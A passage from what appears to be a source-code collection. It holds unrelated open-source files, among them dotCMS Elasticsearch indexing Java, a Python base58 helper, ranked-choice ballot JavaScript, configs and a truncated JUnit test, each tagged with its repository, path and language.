fullReindexSwitchover(Connection conn) { try { if(!isInFullReindex()) return; IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(conn); Logger.info(this, "Executing switchover from old index [" +info.working+","+info.live+"] and new index [" +info.reindex_working+","+info.reindex_live+"]"); final String oldw=info.working; final String oldl=info.live; IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.reindex_working; newinfo.live=info.reindex_live; APILocator.getIndiciesAPI().point(conn,newinfo); iapi.moveIndexBackToCluster(newinfo.working); iapi.moveIndexBackToCluster(newinfo.live); ArrayList<String> list=new ArrayList<String>(); list.add(newinfo.working); list.add(newinfo.live); optimize(list); } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } public boolean delete(String indexName) { return iapi.delete(indexName); } public boolean optimize(List<String> indexNames) { return iapi.optimize(indexNames); } public void addContentToIndex(final Contentlet content) throws DotHibernateException { addContentToIndex(content, true); } public void addContentToIndex(final Contentlet content, final boolean deps) throws DotHibernateException { addContentToIndex(content,deps,false); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit) throws DotHibernateException { addContentToIndex(content,deps,indexBeforeCommit,false); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit, final boolean reindexOnly) throws DotHibernateException { addContentToIndex(content,deps,indexBeforeCommit,reindexOnly,null); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit, final boolean reindexOnly, final BulkRequestBuilder bulk) throws DotHibernateException { if(content==null || !UtilMethods.isSet(content.getIdentifier())) return; Runnable indexAction=new Runnable() { public void run() { try { Client client=new ESClient().getClient(); BulkRequestBuilder req = (bulk==null) ? client.prepareBulk() : bulk; // http://jira.dotmarketing.net/browse/DOTCMS-6886 // check for related content to reindex List<Contentlet> contentToIndex=new ArrayList<Contentlet>(); contentToIndex.add(content); if(deps) contentToIndex.addAll(loadDeps(content)); indexContentletList(req, contentToIndex,reindexOnly); if(bulk==null && req.numberOfActions()>0) req.execute().actionGet(); } catch (Exception e) { Logger.error(ESContentFactoryImpl.class, e.getMessage(), e); } } }; if(bulk!=null || indexBeforeCommit) { indexAction.run(); } else { // add a commit listener to index the contentlet if the entire // transaction finish clean HibernateUtil.addCommitListener(content.getInode(),indexAction); } } private void indexContentletList(BulkRequestBuilder req, List<Contentlet> contentToIndex, boolean reindexOnly) throws DotStateException, DotDataException, DotSecurityException, DotMappingException { for(Contentlet con : contentToIndex) { String id=con.getIdentifier()+"_"+con.getLanguageId(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); Gson gson=new Gson(); String mapping=null; if(con.isWorking()) { mapping=gson.toJson(mappingAPI.toMap(con)); if(!reindexOnly) req.add(new IndexRequest(info.working, "content", id) .source(mapping)); if(info.reindex_working!=null) req.add(new IndexRequest(info.reindex_working, "content", id) .source(mapping)); } if(con.isLive()) { if(mapping==null) mapping=gson.toJson(mappingAPI.toMap(con)); if(!reindexOnly) req.add(new IndexRequest(info.live, "content", id) .source(mapping)); if(info.reindex_live!=null) req.add(new IndexRequest(info.reindex_live, "content", id) .source(mapping)); } } } @SuppressWarnings("unchecked") private List<Contentlet> loadDeps(Contentlet content) throws DotDataException, DotSecurityException { List<Contentlet> contentToIndex=new ArrayList<Contentlet>(); List<String> depsIdentifiers=mappingAPI.dependenciesLeftToReindex(content); for(String ident : depsIdentifiers) { // get working and live version for all languages based on the identifier // String sql = "select distinct inode from contentlet join contentlet_version_info " + // " on (inode=live_inode or inode=working_inode) and contentlet.identifier=?"; String sql = "select working_inode,live_inode from contentlet_version_info where identifier=?"; DotConnect dc = new DotConnect(); dc.setSQL(sql); dc.addParam(ident); List<Map<String,String>> ret = dc.loadResults(); List<String> inodes = new ArrayList<String>(); for(Map<String,String> m : ret) { String workingInode = m.get("working_inode"); String liveInode = m.get("live_inode"); inodes.add(workingInode); if(UtilMethods.isSet(liveInode) && !workingInode.equals(liveInode)){ inodes.add(liveInode); } } for(String inode : inodes) { Contentlet con=APILocator.getContentletAPI().find(inode, APILocator.getUserAPI().getSystemUser(), false); contentToIndex.add(con); } } return contentToIndex; } public void removeContentFromIndex(final Contentlet content) throws DotHibernateException { removeContentFromIndex(content, false); } private void removeContentFromIndex(final Contentlet content, final boolean onlyLive, final List<Relationship> relationships) throws DotHibernateException { Runnable indexRunner = new Runnable() { public void run() { try { String id=content.getIdentifier()+"_"+content.getLanguageId(); Client client=new ESClient().getClient(); BulkRequestBuilder bulk=client.prepareBulk(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); bulk.add(client.prepareDelete(info.live, "content", id)); if(info.reindex_live!=null) bulk.add(client.prepareDelete(info.reindex_live, "content", id)); if(!onlyLive) { // here we search for relationship fields pointing to this // content to be deleted. Those contentlets are reindexed // to avoid left those fields making noise in the index for(Relationship rel : relationships) { String q = ""; boolean isSameStructRelationship = rel.getParentStructureInode().equalsIgnoreCase(rel.getChildStructureInode()); if(isSameStructRelationship) q = "+type:content +(" + rel.getRelationTypeValue() + "-parent:" + content.getIdentifier() + " " + rel.getRelationTypeValue() + "-child:" + content.getIdentifier() + ") "; else q = "+type:content +" + rel.getRelationTypeValue() + ":" + content.getIdentifier(); List<Contentlet> related = APILocator.getContentletAPI().search(q, -1, 0, null, APILocator.getUserAPI().getSystemUser(), false); indexContentletList(bulk, related, false); } bulk.add(client.prepareDelete(info.working, "content", id)); if(info.reindex_working!=null) bulk.add(client.prepareDelete(info.reindex_working, "content", id)); } bulk.execute().actionGet(); } catch(Exception ex) { throw new ElasticSearchException(ex.getMessage(),ex); } } }; HibernateUtil.addCommitListener(content.getIdentifier(),indexRunner); } public void removeContentFromIndex(final Contentlet content, final boolean onlyLive) throws DotHibernateException { if(content==null || !UtilMethods.isSet(content.getIdentifier())) return; List<Relationship> relationships = RelationshipFactory.getAllRelationshipsByStructure(content.getStructure()); // add a commit listener to index the contentlet if the entire // transaction finish clean removeContentFromIndex(content, onlyLive, relationships); } public void removeContentFromLiveIndex(final Contentlet content) throws DotHibernateException { removeContentFromIndex(content, true); } public void removeContentFromIndexByStructureInode(String structureInode) throws DotDataException { String structureName=StructureCache.getStructureByInode(structureInode).getVelocityVarName(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); // collecting indexes List<String> idxs=new ArrayList<String>(); idxs.add(info.working); idxs.add(info.live); if(info.reindex_working!=null) idxs.add(info.reindex_working); if(info.reindex_live!=null) idxs.add(info.reindex_live); String[] idxsArr=new String[idxs.size()]; idxsArr=idxs.toArray(idxsArr); // deleting those with the specified structure inode new ESClient().getClient().prepareDeleteByQuery() .setIndices(idxsArr) .setQuery(QueryBuilders.queryString("+structurename:"+structureName)) .execute().actionGet(); } public void fullReindexAbort() { try { if(!isInFullReindex()) return; IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); final String rew=info.reindex_working; final String rel=info.reindex_live; IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; APILocator.getIndiciesAPI().point(newinfo); iapi.moveIndexBackToCluster(rew); iapi.moveIndexBackToCluster(rel); } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } public boolean isDotCMSIndexName(String indexName) { return indexName.startsWith(ES_WORKING_INDEX_NAME+"_") || indexName.startsWith(ES_LIVE_INDEX_NAME+"_"); } public List<String> listDotCMSClosedIndices() { List<String> indexNames=new ArrayList<String>(); List<String> list=APILocator.getESIndexAPI().getClosedIndexes(); for(String idx : list) if(isDotCMSIndexName(idx)) indexNames.add(idx); return indexNames; } /** * Returns a list of dotcms working and live indices. * @return */ public List<String> listDotCMSIndices() { Client client=new ESClient().getClient(); Map<String,IndexStatus> indices=APILocator.getESIndexAPI().getIndicesAndStatus(); List<String> indexNames=new ArrayList<String>(); for(String idx : indices.keySet()) if(isDotCMSIndexName(idx)) indexNames.add(idx); List<String> existingIndex=new ArrayList<String>(); for(String idx : indexNames) if(client.admin().indices().exists(new IndicesExistsRequest(idx)).actionGet().isExists()) existingIndex.add(idx); indexNames=existingIndex; List<String> indexes = new ArrayList<String>(); indexes.addAll(indexNames); Collections.sort(indexes, new IndexSortByDate()); return indexes; } public void activateIndex(String indexName) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=info.reindex_working; newinfo.reindex_live=info.reindex_live; newinfo.site_search=info.site_search; if(indexName.startsWith(ES_WORKING_INDEX_NAME)) { newinfo.working=indexName; } else if(indexName.startsWith(ES_LIVE_INDEX_NAME)) { newinfo.live=indexName; } APILocator.getIndiciesAPI().point(newinfo); } public void deactivateIndex(String indexName) throws DotDataException, IOException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=info.reindex_working; newinfo.reindex_live=info.reindex_live; newinfo.site_search=info.site_search; if(indexName.equals(info.working)) { newinfo.working=null; } else if(indexName.equals(info.live)) { newinfo.live=null; } else if(indexName.equals(info.reindex_working)) { iapi.moveIndexBackToCluster(info.reindex_working); newinfo.reindex_working=null; } else if(indexName.equals(info.reindex_live)) { iapi.moveIndexBackToCluster(info.reindex_live); newinfo.reindex_live=null; } APILocator.getIndiciesAPI().point(newinfo); } public synchronized List<String> getCurrentIndex() throws DotDataException { List<String> newIdx = new ArrayList<String>(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); newIdx.add(info.working); newIdx.add(info.live); return newIdx; } public synchronized List<String> getNewIndex() throws DotDataException { List<String> newIdx = new ArrayList<String>(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); if(info.reindex_working!=null) newIdx.add(info.reindex_working); if(info.reindex_live!=null) newIdx.add(info.reindex_live); return newIdx; } private class IndexSortByDate implements Comparator<String> { public int compare(String o1, String o2) { if(o1 == null || o2==null ){ return 0; } if(o1.indexOf("_") <0 ){ return 1; } if(o2.indexOf("_") <0 ){ return -1; } String one = o1.split("_")[1]; String two = o2.split("_")[1]; return two.compareTo(one); } } public String getActiveIndexName(String type) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); if(type.equalsIgnoreCase(ES_WORKING_INDEX_NAME)) { return info.working; } else if(type.equalsIgnoreCase(ES_LIVE_INDEX_NAME)) { return info.live; } return null; } }
austindlawless/dotCMS
src/com/dotcms/content/elasticsearch/business/ESContentletIndexAPI.java
Java
gpl-3.0
23,993
""" Copied from https://bitcointalk.org/index.php?topic=1026.0 (public domain) """ from hashlib import sha256 if str != bytes: def ord(c): # Python 3.x return c def chr(n): return bytes((n,)) __b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' __b58base = len(__b58chars) def b58encode(v): """ encode v, which is a string of bytes, to base58. """ long_value = 0 for (i, c) in enumerate(v[::-1]): long_value += (256 ** i) * ord(c) result = '' while long_value >= __b58base: div, mod = divmod(long_value, __b58base) result = __b58chars[mod] + result long_value = div result = __b58chars[long_value] + result # Bitcoin does a little leading-zero-compression: # leading 0-bytes in the input become leading-1s nPad = 0 for c in v: if c == '\0': nPad += 1 else: break return (__b58chars[0]*nPad) + result def b58decode(v, length): """ decode v into a string of len bytes """ long_value = 0 for (i, c) in enumerate(v[::-1]): long_value += __b58chars.find(c) * (__b58base**i) result = bytes() while long_value >= 256: div, mod = divmod(long_value, 256) result = chr(mod) + result long_value = div result = chr(long_value) + result nPad = 0 for c in v: if c == __b58chars[0]: nPad += 1 else: break result = chr(0) * nPad + result if length is not None and len(result) != length: return None return result def _parse_address(str_address): raw = b58decode(str_address, 25) if raw is None: raise AttributeError("'{}' is invalid base58 of decoded length 25" .format(str_address)) version = raw[0] checksum = raw[-4:] vh160 = raw[:-4] # Version plus hash160 is what is checksummed h3 = sha256(sha256(vh160).digest()).digest() if h3[0:4] != checksum: raise AttributeError("'{}' has an invalid address checksum" .format(str_address)) return ord(version), raw[1:-4] def get_bcaddress_version(str_address): """ Reverse compatibility non-python implementation """ try: return _parse_address(str_address)[0] except AttributeError: return None def get_bcaddress(str_address): """ Reverse compatibility non-python implementation """ try: return _parse_address(str_address)[1] except AttributeError: return None def address_version(str_address): return _parse_address(str_address)[0] def address_bytes(str_address): return _parse_address(str_address)[1]
simplecrypto/cryptokit
cryptokit/base58.py
Python
gpl-3.0
2,723
// For ntohX / htonX #ifdef _WIN32 #include <winsock2.h> #else #include <arpa/inet.h> #endif #include "byte_order.h" namespace net { uint16_t ntoh( const uint16_t& src ) { return ntohs(src); } uint32_t ntoh( const uint32_t& src ) { return ntohl(src); } uint16_t hton( const uint16_t& src ) { return htons(src); } uint32_t hton( const uint32_t& src ) { return htonl(src); } } // namespace net
IronSavior/phlegethon
src/net/byte_order.cpp
C++
gpl-3.0
411
// Copyright (c) 2016 The Chromium Embedded Framework Authors. All rights // reserved. Use of this source code is governed by a BSD-style license that // can be found in the LICENSE file. // // --------------------------------------------------------------------------- // // This file was generated by the CEF translator tool. If making changes by // hand only do so within the body of existing method and function // implementations. See the translator.README.txt file in the tools directory // for more information. // #ifndef CEF_LIBCEF_DLL_CTOCPP_URLREQUEST_CLIENT_CTOCPP_H_ #define CEF_LIBCEF_DLL_CTOCPP_URLREQUEST_CLIENT_CTOCPP_H_ #pragma once #ifndef BUILDING_CEF_SHARED #pragma message("Warning: "__FILE__" may be accessed DLL-side only") #else // BUILDING_CEF_SHARED #include "include/cef_urlrequest.h" #include "include/capi/cef_urlrequest_capi.h" #include "libcef_dll/ctocpp/ctocpp.h" // Wrap a C structure with a C++ class. // This class may be instantiated and accessed DLL-side only. class CefURLRequestClientCToCpp : public CefCToCpp<CefURLRequestClientCToCpp, CefURLRequestClient, cef_urlrequest_client_t> { public: CefURLRequestClientCToCpp(); // CefURLRequestClient methods. void OnRequestComplete(CefRefPtr<CefURLRequest> request) override; void OnUploadProgress(CefRefPtr<CefURLRequest> request, int64 current, int64 total) override; void OnDownloadProgress(CefRefPtr<CefURLRequest> request, int64 current, int64 total) override; void OnDownloadData(CefRefPtr<CefURLRequest> request, const void* data, size_t data_length) override; bool GetAuthCredentials(bool isProxy, const CefString& host, int port, const CefString& realm, const CefString& scheme, CefRefPtr<CefAuthCallback> callback) override; }; #endif // BUILDING_CEF_SHARED #endif // CEF_LIBCEF_DLL_CTOCPP_URLREQUEST_CLIENT_CTOCPP_H_
victorzhao/miniblink49
cef/libcef_dll/ctocpp/urlrequest_client_ctocpp.h
C
gpl-3.0
1,879
const path = require('path') const webpack = require('webpack') var config = { devtool: 'source-map', entry: './lib/index.js', output: { path: path.join(__dirname, 'dist'), filename: 'napchart.min.js', library: 'Napchart', libraryTarget: 'var' }, module: { rules: [ { test: /\.js$/, use: [{ loader: 'buble-loader', options: { objectAssign: 'Object.assign' } }] } ] } } if (process.env.NODE_ENV == 'production') { config.plugins = [ new webpack.DefinePlugin({ 'process.env': { 'NODE_ENV': JSON.stringify('production') } }), new webpack.optimize.UglifyJsPlugin({minimize: false}) ] } module.exports = config
larskarbo/napchart
webpack.config.js
JavaScript
gpl-3.0
798
// ----------- General Utility Functions ----------- function get_answer_div(answer_id) { return dom_lookup("answer-", answer_id) } function get_answer_div_desc_div(answer_div) { return dom_lookup("desc-", answer_div.id) } function get_question_desc_div(question_id) { return dom_lookup("question-desc-", question_id) } function get_question_selected_div(question_id) { return dom_lookup("question-selected-", question_id) } function get_question_unselected_div(question_id) { return dom_lookup("question-unselected-", question_id) } function get_verify_ballot_div() { return dom_lookup("verify-ballot-area", "") } function get_submit_button() { return dom_lookup("submit-btn", "") } function dom_lookup(prefix, id) { return document.getElementById("" + prefix + id) } function filter_visible(arr) { /* Take an array-like object containing DOM elements, and use j-query * to filter out the visible ones * * Param arr - array-like object containing DOM elements * * Returns - array containing only visible elements */ return Array.prototype.filter.call(arr, function(test_element) { return $(test_element).is(":visible");} ) } function is_selected(answer_id, question_id) { /* Return true if an answer belonging to a question is selected */ var sel_div = get_question_selected_div(question_id) return get_answer_div(answer_id).parentNode == sel_div } // ----------- Less-General Helper Functions ----------- function build_tutorial_block(next_to_element, tut_text) { /* Display a tutorial block */ if($(next_to_element).is(":visible")) { var max_tut_width = "150" // Just a magic number for look var tut_border_add = 10 // In css, border is about this width... var tut_div = document.createElement("div") // The class is used to style the object, and to remove it later tut_div.className = "tutorial_child" // Attach event listeners so it can disappear on mouseover tut_div.addEventListener("mouseenter", function () { this.style.opacity=0; }, false) tut_div.addEventListener("mouseleave", function () { this.style.opacity=1; }, false) tut_div.innerHTML = tut_text var src_loc = next_to_element.getBoundingClientRect() tut_div.style.top = (src_loc.top + window.pageYOffset) + "px" var tut_width = src_loc.left - window.pageXOffset - tut_border_add if(tut_width > max_tut_width) { tut_width = max_tut_width } tut_div.style.width = tut_width + "px" tut_div.style.left = (src_loc.left - tut_width - tut_border_add) + "px" document.body.appendChild(tut_div) } } function ballot_change_made(func_after) { /* Handle visual changes necessary after a change on the ballot */ $("#check-ballot-btn").slideDown("fast", function() { $("#form").slideUp("fast", function() { $("#verify-ballot-area").slideUp("fast", function() { handle_tutorial() if(func_after !== undefined) { func_after() } }) }) }) } function number_ballot(question_id) { /* Number the selected ballot options for a given question */ var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) for( var i = 0; i < sel_div.childNodes.length; i++ ) { var selected_ans_node = sel_div.childNodes[i] var ans_rank = document.getElementById("rank-"+selected_ans_node.id) ans_rank.innerHTML = i + 1 } for( var i = 0; i < unsel_div.childNodes.length; i++ ) { var unselected_ans_node = unsel_div.childNodes[i] var ans_rank = document.getElementById("rank-"+unselected_ans_node.id) ans_rank.innerHTML = "&nbsp;" } } // ----------- Tutorial Functions ----------- function handle_tutorial() { /* Display the tutorial blocks */ remove_tutorial_blocks() var TutorialQuestionState = Object.freeze( {ADD:0, REORDER:1, VERIFY:2, SUBMIT:3, NONE:4}) var add_help = "Drag one or more options into the &quot;selected&quot; area to vote for them." var reorder_help = "Reorder options to match your preferences, or remove items you no longer wish to vote for." var nochoices_help = "Make voting selections above before verifying your ballot." var submit_help = "Verify your preferences. Make changes above if necessary. Submit when you&apos;re ready." var state_text_map = [add_help, reorder_help, nochoices_help, submit_help] // Display one tutorial block per question for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) var q_state = 0; var next_to = sel_div; if( sel_div.childNodes.length < 2 ) { q_state = TutorialQuestionState.ADD next_to = unsel_div } else { q_state = TutorialQuestionState.REORDER next_to = sel_div } build_tutorial_block(next_to, state_text_map[q_state]) } var verify_ballot_div = get_verify_ballot_div() var submit_btn = get_submit_button() // Default these two to the verify state - if it's not visible, // build_tutorial_block won't display it... var ver_state = TutorialQuestionState.VERIFY var ver_next_to = verify_ballot_div if( $(submit_btn).is(":visible") ) { ver_state = TutorialQuestionState.SUBMIT } build_tutorial_block(ver_next_to, state_text_map[ver_state]) } function remove_tutorial_blocks() { /* Clear all tutorial blocks from the screen */ var element_list = [] do { for(var i = 0; i < element_list.length; i++) { document.body.removeChild(element_list[i]) } element_list = document.body.getElementsByClassName("tutorial_child") } while( element_list.length > 0 ) } $(document).ready( function() { // Run handle_tutorial as soon as the DOM is ready handle_tutorial() // Make the questions sortable, but don't allow sorting between questions for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) var desc_div = get_question_desc_div(question_id) // What I do with update down there is weird - I create a function // that returns a function then call it. That results in creating // a new scoping specifically for local_question_id $(sel_div).sortable({ placeholder: "poll_answer_placeholder", connectWith: "#" + unsel_div.id, update: function() { var local_question_id = question_id return function(event, ui) { number_ballot(local_question_id) ballot_change_made() } }(), // Whenever receive happense on the selected div, // update happens too. No need to duplicate things... /*receive: function(event, ui) { ballot_change_made() },*/ }) $(unsel_div).sortable({ placeholder: "poll_answer_placeholder", connectWith: "#" + sel_div.id, receive: function(event, ui) { ballot_change_made() }, }) } } ) // ----------- Functions Referenced In HTML ----------- function validate_ballot() { /* Occurs when the "validate ballot" button is pressed */ var form_entries = document.getElementById("constructed-form-entries") var validate = document.getElementById("verify-ballot-div-area") var some_answers = false form_entries.innerHTML = "" validate.innerHTML = "" // Build the validation view and the response form for each question for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var desc_div = get_question_desc_div(question_id) var question_validate_div = document.createElement("div") question_validate_div.className = "poll_question" var question_validate_desc = document.createElement("div") question_validate_desc.innerHTML = desc_div.innerHTML question_validate_desc.classList = desc_div.classList question_validate_div.appendChild(question_validate_desc) if( sel_div.childNodes.length == 0 ) { var new_ans = document.createElement("div") new_ans.className = "poll_answer_desc" new_ans.innerHTML = "No choices selected" question_validate_div.appendChild(new_ans) } for( var i = 0; i < sel_div.childNodes.length; i++ ) { some_answers = true var selected_ans_node = sel_div.childNodes[i] var new_input = document.createElement("input") new_input.type = "hidden" new_input.name = selected_ans_node.id new_input.value = i + 1 form_entries.appendChild(new_input) var new_ans = document.createElement("div") new_ans.className = "poll_answer_desc" new_ans.innerHTML = "" + (i+1) + ". " + get_answer_div_desc_div(selected_ans_node).innerHTML question_validate_div.appendChild(new_ans) } validate.appendChild(question_validate_div) } if( some_answers ) { $("#form").show() } else { $("#form").hide() } $("#check-ballot-btn").slideUp("fast") toggle_visible_block("verify-ballot-area", true) }
kc0bfv/RankedChoiceRestaurants
RankedChoiceRestaurants/static/voting/ranked_choice.js
JavaScript
gpl-3.0
9,999
module Lamdu.GUI.ExpressionEdit.HoleEdit.Info ( HoleInfo(..) , hiSearchTermProperty , hiSearchTerm ) where import Control.Lens.Operators import Data.Store.Property (Property(..)) import qualified Data.Store.Property as Property import qualified Data.Store.Transaction as Transaction import Lamdu.Calc.Type (Type) import Lamdu.GUI.ExpressionEdit.HoleEdit.State (HoleState, hsSearchTerm) import Lamdu.GUI.ExpressionEdit.HoleEdit.WidgetIds (WidgetIds) import qualified Lamdu.GUI.ExpressionGui.Types as ExprGuiT import Lamdu.Sugar.Names.Types (Name) import Lamdu.Sugar.NearestHoles (NearestHoles) import qualified Lamdu.Sugar.Types as Sugar type T = Transaction.Transaction data HoleInfo m = HoleInfo { hiEntityId :: Sugar.EntityId , hiInferredType :: Type , hiIds :: WidgetIds , hiHole :: Sugar.Hole (Name m) m (ExprGuiT.SugarExpr m) , hiNearestHoles :: NearestHoles , hiState :: Property (T m) HoleState } hiSearchTermProperty :: HoleInfo m -> Property (T m) String hiSearchTermProperty holeInfo = hiState holeInfo & Property.composeLens hsSearchTerm hiSearchTerm :: HoleInfo m -> String hiSearchTerm holeInfo = Property.value (hiState holeInfo) ^. hsSearchTerm
da-x/lamdu
Lamdu/GUI/ExpressionEdit/HoleEdit/Info.hs
Haskell
gpl-3.0
1,279
import { QueryInterface } from "sequelize"; export default { up: (queryInterface: QueryInterface) => { return Promise.resolve() .then(() => queryInterface.bulkInsert("dimension_bridges", [ { type: "hookshot_webhook", name: "Webhooks Bridge", avatarUrl: "/assets/img/avatars/webhooks.png", isEnabled: true, isPublic: true, description: "Webhooks to Matrix", }, ])); }, down: (queryInterface: QueryInterface) => { return Promise.resolve() .then(() => queryInterface.bulkDelete("dimension_bridges", { type: "hookshot_webhook", })); } }
turt2live/matrix-dimension
src/db/migrations/20211202181745-AddHookshotWebhookBridgeRecord.ts
TypeScript
gpl-3.0
782
<?php /** * QuittanceTable * * This class has been auto-generated by the Doctrine ORM Framework */ class QuittanceTable extends Doctrine_Table { /** * Returns an instance of this class. * * @return object QuittanceTable */ public static function getInstance() { return Doctrine_Core::getTable('Quittance'); } }
MichaelMure/Ordo
lib/model/doctrine/QuittanceTable.class.php
PHP
gpl-3.0
360
package visualization.utilities; import java.util.Collection; import java.util.Collections; import java.util.HashMap; public class BidirectionalHashMap<K1,K2> { protected HashMap<K1,K2> left = new HashMap<K1, K2>(); protected HashMap<K2,K1> right= new HashMap<K2, K1>(); public void put(K1 k1, K2 k2) { left.put(k1,k2); right.put(k2,k1); } public void remove(Object key) { if (left.containsKey(key)) right.remove(left.remove(key)); else left.remove(right.remove(key)); } @SuppressWarnings("unchecked") public <T> T get(Object key) { Object ret = left.get(key); if (ret==null) ret = right.get(key); return (T)ret; } public int size() { return left.size(); } public Collection<K1> getLeftElements() { return Collections.unmodifiableSet(left.keySet()); } public Collection<K2> getRightElements() { return Collections.unmodifiableSet(right.keySet()); } public void clear() { left.clear(); right.clear(); } @SuppressWarnings("unchecked") public <T> T getRight(Object key) { Object ret = right.get(key); return (T)ret; } @SuppressWarnings("unchecked") public <T> T getLeft(Object key) { Object ret = left.get(key); return (T)ret; } }
Integrative-Transcriptomics/inPHAP
HaplotypeViewer/visualization/utilities/BidirectionalHashMap.java
Java
gpl-3.0
1,215
/** * Copyright (c) 2015 TerraFrame, Inc. All rights reserved. * * This file is part of Geoprism(tm). * * Geoprism(tm) is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * Geoprism(tm) is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with Geoprism(tm). If not, see <http://www.gnu.org/licenses/>. */ package net.geoprism.data.etl; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import com.runwaysdk.business.ontology.Term; import com.runwaysdk.dataaccess.transaction.Transaction; import com.runwaysdk.query.OIterator; import com.runwaysdk.query.QueryFactory; import com.runwaysdk.system.gis.geo.AllowedIn; import com.runwaysdk.system.gis.geo.GeoEntity; import com.runwaysdk.system.gis.geo.Universal; import com.runwaysdk.system.metadata.MdAttribute; import net.geoprism.ontology.GeoEntityUtil; public class TargetFieldGeoEntityBinding extends TargetFieldGeoEntityBindingBase { private static class UniversalAttributeBindingComparator implements Comparator<UniversalAttributeBinding> { private Map<String, Integer> indices; public UniversalAttributeBindingComparator(Collection<Term> terms) { this.indices = new HashMap<String, Integer>(); int index = 0; for (Term term : terms) { this.indices.put(term.getOid(), index++); } } @Override public int compare(UniversalAttributeBinding o1, UniversalAttributeBinding o2) { Integer i1 = this.indices.get(o1.getUniversalId()); Integer i2 = this.indices.get(o2.getUniversalId()); return i1.compareTo(i2); } } private static final long serialVersionUID = -2005836550; public TargetFieldGeoEntityBinding() { super(); } @Override @Transaction public void delete() { List<UniversalAttributeBinding> attributes = this.getUniversalAttributes(); for (UniversalAttributeBinding attribute : attributes) { attribute.delete(); } super.delete(); } public List<UniversalAttributeBinding> getUniversalAttributes() { List<UniversalAttributeBinding> list = new LinkedList<UniversalAttributeBinding>(); UniversalAttributeBindingQuery query = new UniversalAttributeBindingQuery(new QueryFactory()); query.WHERE(query.getField().EQ(this)); OIterator<? extends UniversalAttributeBinding> iterator = query.getIterator(); try { while (iterator.hasNext()) { UniversalAttributeBinding binding = iterator.next(); list.add(binding); } return list; } finally { iterator.close(); } } @Override protected void populate(TargetField field) { super.populate(field); GeoEntity root = this.getGeoEntity(); Collection<Term> descendants = GeoEntityUtil.getOrderedDescendants(root.getUniversal(), AllowedIn.CLASS); TargetFieldGeoEntity tField = (TargetFieldGeoEntity) field; tField.setRoot(root); List<UniversalAttributeBinding> attributes = this.getUniversalAttributes(); Collections.sort(attributes, new UniversalAttributeBindingComparator(descendants)); for (UniversalAttributeBinding attribute : attributes) { MdAttribute sourceAttribute = attribute.getSourceAttribute(); String attributeName = sourceAttribute.getAttributeName(); String label = sourceAttribute.getDisplayLabel().getValue(); Universal universal = attribute.getUniversal(); tField.addUniversalAttribute(attributeName, label, universal); } tField.setUseCoordinatesForLocationAssignment(this.getUseCoordinatesForLocationAssignment()); tField.setCoordinateObject(this.getLatitudeAttributeName(), this.getLongitudeAttributeName()); } @Override public TargetFieldIF getTargetField() { TargetFieldGeoEntity field = new TargetFieldGeoEntity(); populate(field); return field; } }
terraframe/geodashboard
geoprism-server/src/main/java-gen/stub/net/geoprism/data/etl/TargetFieldGeoEntityBinding.java
Java
gpl-3.0
4,444
package SeniorProjectTests.DrawShapes.Curve; import static org.junit.Assert.*; import org.junit.AfterClass; import org.junit.Test; import com.cburch.draw.shapes.Curve; import com.cburch.logisim.data.Location; /* * 1. tests that it matches the position correctly in the middle location * 2. makes sure the method returns false when matches is given null * 3. the method should return false when the input is null * 4. tests that it matches the position correctly in the first location * 5. tests that it matches the position correctly in the third location */ public class Test_draw_shapes_Curve_matches { @AfterClass public static void tearDownAfterClass() throws Exception { } @Test public void test1() { //tests that it matches the positions correctly in the middle location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca2, loc2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } @Test public void test2() { //makes sure the method returns false when matches is given null Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new 